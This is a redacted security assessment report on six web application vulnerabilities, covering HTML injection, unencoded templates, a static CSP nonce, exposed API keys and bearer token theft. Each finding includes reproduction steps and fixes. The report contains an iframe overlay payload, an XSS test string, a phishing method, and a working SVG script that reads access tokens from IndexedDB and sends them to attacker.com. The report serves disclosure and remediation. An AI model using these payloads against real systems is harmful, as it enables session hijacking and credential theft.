REDACTED FOR PUBLIC DISCLOSURE

Security Vulnerability Report

Date 2026-04-24

Target ▓▓ REDACTED ▓▓

Findings 6 vulnerabilities · 1 High, 5 Medium

ID	Title	Score	Severity
F-01	HTML Injection — Messages	6.8	MEDIUM
F-02	HTML Injection — Auto-resize	5.4	MEDIUM
F-03	Unencoded HTML in Reports	5.4	MEDIUM
F-04	Static CSP Nonce	5.4	MEDIUM
F-05	Hardcoded API Keys	5.3	MEDIUM
F-06	Bearer Token via Blob	7.5	HIGH

Executive Summary

This assessment identified **six security vulnerabilities** across a web application. The findings range from stored HTML injection via flawed template rendering pipelines to a high-severity bearer token extraction attack exploiting same-origin blob URLs. When chained, these vulnerabilities escalate from content injection to full session compromise.

1	5	6
HIGH	MEDIUM	TOTAL FINDINGS

The most critical finding (F-06) demonstrates a token extraction technique: an attacker uploads a crafted SVG disguised as a JPEG; the platform wraps it in a same-origin blob URL; when a victim opens the image in a new tab, the embedded script reads bearer and refresh tokens from IndexedDB and can make arbitrary authenticated API requests on their behalf.

Findings F-01 through F-04 form a compound chain: stored HTML injection provides the delivery mechanism, and the predictable static CSP nonce enables script execution within injected iframes, resulting in a full top-frame redirect to attacker-controlled pages.

Finding Summary

ID	Title	CVSS	Severity
F-01	HTML Injection in Conversation Messages	6.8	Medium
F-02	HTML Injection in Description / Scheduler Fields	5.4	Medium
F-03	Unencoded HTML in Generated Reports	5.4	Medium
F-04	Static CSP Nonce	5.4	Medium
F-05	Hardcoded API Keys in Public Bundle	5.3	Medium
F-06	Bearer Token Extraction via Blob Upload	7.5	High

F-01 HTML Injection in Conversation Messages

MEDIUM	CVSS v3.1	CWE
	6.8 · AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N	CWE-79

// Summary

The conversation message renderer passes user input through **escapeText()** then **charactersToHTML()** before assigning to **innerHTML**. These two functions undo each other: **escapeText()** encodes HTML entities, then **charactersToHTML()** decodes them back. Sending HTML entity-encoded input bypasses the first step and is decoded into live HTML by the second.

Inline event handlers are blocked by CSP, but <iframe> tags render. The iframe covers the main content area while the sidebar remains visible. Combined with F-04, the iframe can trigger a full top-frame redirect via **window.top.location**.

// Vulnerability Details

```
domProps: {
  innerHTML: e._s(
    e.$helpers.charactersToHTML(
      e.$helpers.escapeText(s.data.comment)
    )
  )
}
```

Sending **<iframe>** as comment text: **escapeText()** passes it through unchanged; **charactersToHTML()** decodes the entities back to < and >; **innerHTML** then renders a live iframe.

Affected file: ██ REDACTED ██

// Steps to Reproduce

1. Log in as any user with access to project conversations.
2. Post a comment containing an iframe payload, e.g.:
   `<iframe src="[ATTACKER-URL]"`
   `style="position:fixed;top:0;left:0;width:100vw;height:100vh;border:0"></iframe>`
3. Any user who opens the conversation has the central UI replaced with attacker-controlled content. Chained with F-04, the victim is force-redirected to an attacker page.

// Impact

Every user who opens the affected conversation has the central UI replaced with attacker-controlled content. The address bar continues to show the legitimate application domain. Chained with F-04, the attack escalates to a full top-frame redirect, removing the visible sidebar entirely.

// Remediation

The root cause is the rendering pipeline inverting its own encoding. Replace the **innerHTML** assignment with **textContent** for plain-text content, or use a purpose-built sanitiser such as **DOMPurify** if rich formatting is needed.

The **charactersToHTML()** function should operate only on already-safe content — never directly on raw user input.

F-02 HTML Injection in Description and Scheduler Fields

MEDIUM	CVSS v3.1	CWE
	5.4 · AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N	CWE-79

// Summary

Several input fields use a hidden mirror for auto-resize behaviour. The mirror is updated with **t.innerHTML = e.value + "
"** on every keystroke. Unlike F-01, there is no encoding step — typing <iframe> directly produces a rendered iframe. The injection is stored when the form is saved.

// Vulnerability Details

```
t.innerHTML = e.value + "<br>";
```

The mirror div exists solely to measure text height so the visible textarea can resize. It has no reason to parse HTML but does so because of the **innerHTML** assignment.

Confirmed affected surfaces:

- Report Scheduler → "Message for Recipients"
- Datasets → Description
- Assets → Description
- Exports → "What's New"
- Forms → Description

Affected file: ██ REDACTED ██

// Steps to Reproduce

1. Navigate to any affected field (e.g. Report Scheduler > Message for Recipients).
2. Type an iframe payload with a data:text/html base64-encoded script into the field. The iframe renders in the hidden mirror div immediately while typing.
3. Save the field. Any user who subsequently loads the page receives the stored iframe.

// Impact

Stored HTML injection across five distinct surfaces. The same iframe overlay and redirect chains described in F-01 apply to all affected fields.

// Remediation

The mirror div only needs to measure height — it does not need to parse HTML. Replace the **innerHTML** assignment with **textContent**.

If a
 is needed for line-height accuracy, escape the user value first:

```
t.innerHTML = escapeHtml(e.value) + "<br>";
```

F-03 Unencoded HTML in Generated Reports

MEDIUM

CVSS v3.1
5.4 · AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N

CWE
CWE-116

// Summary

Default report templates use Handlebars **triple-stache** syntax which outputs values without HTML encoding. A project description containing HTML passes through into the generated report as live markup.

XSS is blocked by CSP on the primary file-hosting domain, but generated reports are also accessible from two additional origins with weaker or absent CSP. A separate path allows the application login page to be used as a report template, producing a credential phishing page hosted on a legitimate storage domain.

// Vulnerability Details

Vulnerable Handlebars template syntax:

```
{{{description}}}
```

Generated reports are also served from a cloud storage origin (██ REDACTED ██) included in CSP frame-src, img-src, style-src, connect-src — but with no script-src restriction — and from a CDN origin (██ REDACTED ██) likely fronting the same backend.

The application allows the login page to be used as a report template. The generated file at ██ REDACTED ██ has no script-src restriction, enabling credential phishing via a seemingly legitimate report share link.

// Steps to Reproduce

1. Set a project description to `<img src=x onerror=alert(1)>` and generate a report using the default template.
2. Open the report via the cloud storage origin URL (██ REDACTED ██). The <img> tag renders and onerror fires — confirming stored XSS on that origin.
3. **Credential phishing path:** Create a report using the login page as template, edit the generated file to POST form input to an attacker-controlled endpoint, and share the storage URL as a normal report link.

// Impact

Stored XSS on the cloud storage origin for any user who opens the report via that URL. Users with description-editing access can inject XSS payloads; users with template-editing access can produce credential-harvesting pages served from a trusted domain.

// Remediation

Replace all triple-stache **{{{field}}}** syntax with double-stache **{{field}}** in every default template to enable Handlebars' built-in HTML encoding.

Apply a strict **script-src** CSP policy to all file-hosting and CDN origins.

F-04 Static CSP Nonce

MEDIUM	CVSS v3.1	CWE
	5.4 · AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N	CWE-330

// Summary

The CSP nonce is hardcoded in the public webpack bundle and has been static across multiple application versions. Any visitor can read it from browser DevTools. Combined with F-01 or F-02, the known nonce enables script execution inside **data:text/html** iframes, confirmed to achieve **window.top.location** redirect.

// Vulnerability Details

The nonce is embedded directly in the bundle:

```
"nonce": "[REDACTED]"
```

A CSP nonce is supposed to be generated server-side per request. This one is static across multiple versions and visible to every visitor without authentication.

Although **data:** appears in script-src, execution inside data:text/html iframes still requires the nonce. A <script nonce="[REDACTED]"> tag inside the iframe is permitted by the CSP and executes in a null origin context, from which **window.top.location** can be set.

Affected file: ██ REDACTED ██

// Steps to Reproduce

1. Read the nonce value from the application bundle via browser DevTools (Sources tab, search for `"nonce"`).
2. Using F-01, post a comment containing an iframe with a base64-encoded script payload that includes the known nonce value.
3. The victim opens the conversation and their browser navigates to an attacker-controlled page.

// Impact

Chained with F-01 or F-02, the victim's browser is redirected to an attacker page when they open a malicious comment or visit an affected input field. The iframe overlay from F-01 already works without script execution — the redirect is an additional escalation on top of an already-exploitable injection.

// Remediation

Generate the CSP nonce **server-side on every request** and inject it into the HTML response at render time. Remove the nonce from the webpack bundle entirely — it must never be embedded in static assets.

This single change independently neutralises F-04 and also breaks the script execution component of F-06, regardless of whether the injection sinks in F-01 and F-02 are fixed.

F-05 Hardcoded API Keys in Public Bundle

MEDIUM	CVSS v3.1	CWE
	5.3 · AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L	CWE-798

// Summary

Three API keys are embedded in the webpack config object in the main application bundle, which is served to every visitor with no authentication required. The Stripe publishable key is intentionally client-facing and low risk. The Bugsnag and HERE Maps keys carry meaningful exploitable impact.

// Vulnerability Details

Keys found in bundle:

```
{
  "bugsnagApiKey": "[REDACTED]",
  "stripeKey":     "[REDACTED]",
  "client": {
    "hereKey": "[REDACTED]"
  }
}
```

Stripe publishable key — Intended to be public; low risk. Included for completeness.

Bugsnag key — The notify endpoint accepts reports from anyone with the key. An attacker can flood the error dashboard with fake reports, burying real errors.

HERE Maps key — Billed per request. An attacker can issue geocoding, routing, and map tile requests at volume, exhausting plan limits and generating unexpected charges.

Affected file: ██ REDACTED ██

// Steps to Reproduce

1. Open the application in any browser.
2. Open DevTools › Sources › main.[hash].dist.js.
3. Search for `bugsnagApiKey` or the Stripe publishable key prefix.

// Impact

Both the Bugsnag and HERE Maps keys have been visible to any unauthenticated visitor across multiple application versions. The Bugsnag key enables error-dashboard noise attacks; the HERE Maps key enables billing abuse via high-volume API requests.

// Remediation

Immediate: Rotate the Bugsnag and HERE Maps keys. For HERE Maps, enable domain or IP allowlisting in the developer console to restrict which origins can make requests. For Bugsnag, investigate restricting the notify endpoint to known application origins.

Going forward: API keys not intended to be public should be injected at runtime via a server-side configuration endpoint, never compiled into the client bundle.

F-06 Bearer Token Extraction via Conversation File Upload

HIGH	CVSS v3.1	CWE
	7.5 · AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N	CWE-312

// Summary

Bearer tokens are stored in IndexedDB via **localforage**. When a file is uploaded to a conversation, the application fetches it from the file-hosting domain and wraps it in a **blob:https://[app-origin]/[uuid]** URL used as the <img> src.

Because the blob URL shares the application's origin, any script inside it has full IndexedDB access. The attacker uploads a crafted file; the platform creates the blob. The victim right-clicks an image in the conversation and opens it in a new tab — a normal interaction.

// Vulnerability Details

Tokens written to IndexedDB on login:

```
this.$storage.setItem("accessToken",  this.tokens.access);
this.$storage.setItem("refreshToken", this.tokens.refresh);
```

The application fetches uploaded files and calls **URL.createObjectURL()**, producing a same-origin blob URL. Opened in a new tab, the blob runs in the application origin context with full IndexedDB read access.

PoC SVG payload (disguised as JPEG via Content-Type intercept):

```
<?xml version="1.0" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg">
  <polygon points="0,0 0,50 50,0" fill="#009900"/>
  <script type="text/javascript" nonce="[REDACTED]">
    (async () => {
      const db = await new Promise((res, rej) => {
        const req = indexedDB.open("localforage");
        req.onsuccess = () => res(req.result);
        req.onerror  = () => rej(req.error);
      });
      const tx    = db.transaction("keyvaluepairs", "readonly");
      const store = tx.objectStore("keyvaluepairs");
      const req   = store.openCursor();
      req.onsuccess = async e => {
        const cursor = e.target.result;
        if (cursor && cursor.key === "accessToken") {
          const token = cursor.value;
          // Exfil A: redirect parent with token
          window.top.location = "https://attacker.com?t=" + JSON.stringify(token);
          // Exfil B: authenticated API calls on behalf of victim
          fetch("[REDACTED]/api/me", {
            headers: { "Authorization": "Bearer " + token }
          }).then(r => r.json()).then(data => {
            window.top.location = "https://attacker.com?d=" + JSON.stringify(data);
          });
        }
        if (cursor) cursor.continue();
      };
    })();
  </script>
</svg>
```

Blob URLs are generated locally by the victim's browser and cannot be predicted by the attacker in advance. The attacker supplies the file content; the platform handles wrapping.

Affected file: ██ REDACTED ██

// Steps to Reproduce

1. Craft an SVG file containing the payload above. Begin uploading a normal JPEG to the conversation and intercept the HTTP request. Replace the file content and Content-Type header with the SVG payload while keeping the filename as `.jpg`. The server stores the file and the application creates a same-origin blob URL, rendering it as an image in the thread.
2. The victim right-clicks the image and opens it in a new tab.
3. The script executes in the application origin context, reads the access token from IndexedDB, and makes authenticated fetch() requests to the API on behalf of the victim. Confirmed: the extracted token returns a 200 response from the API.

// Impact

Access and refresh tokens are extracted from IndexedDB. The attacker can make arbitrary GET, POST, PUT, and DELETE requests to the API for the duration of the session — or exfiltrate the token for later reuse. The only required user interaction is a single right-click on an image in their conversation.

// Remediation

Primary fix — rotate the CSP nonce (see F-04): Generating the nonce server-side per request independently breaks script execution inside the blob URL regardless of file content. This one change also resolves F-04 simultaneously.

Secondary fix — server-side MIME validation: The delivery path works because the server trusts the uploader's Content-Type header. Validating the file signature (magic bytes) against the declared MIME type would reject SVG content disguised as JPEG.

Both fixes are strongly recommended. Nonce rotation closes exploitation; magic bytes validation closes delivery.

Supporting Notes

// Vulnerability Chain

F-01 through F-04 compound each other. The most reliable standalone path is F-01 with an iframe overlay: post a comment and every user who opens the conversation has the central UI replaced with attacker-controlled content. No CSP bypass needed, no elevated permissions. Chaining F-04 escalates this to a full top-frame redirect.

Fixing the injection sinks in F-01 and F-02 removes the delivery mechanism for the redirect chain. Rotating the CSP nonce kills F-04 regardless of whether the injection sinks are fixed. F-06 also depends on the static nonce — rotating it breaks blob token extraction independently of any file validation fix.

// Fix Priority

Action	Resolves	Notes
Rotate CSP nonce server-side	F-04, F-06	Highest leverage — single server-side change
Fix innerHTML sinks (F-01, F-02)	F-01, F-02	Removes redirect chain delivery
Fix Handlebars triple-stache	F-03	Use {{field}} not {{{field}}}
Server-side MIME validation	F-06 (delivery)	Magic bytes vs Content-Type header
Rotate Bugsnag / HERE Maps keys	F-05	Rotate immediately; add allowlisting

// Disclosure Notes

All target domain names, IP addresses, API keys, nonce values, CDN origins, storage URLs, and webpack bundle filenames have been replaced with ██ REDACTED ██ throughout this report for public disclosure. The technical accuracy of vulnerability descriptions, PoC logic, CVSS scores, and remediation guidance is unaffected by the redaction.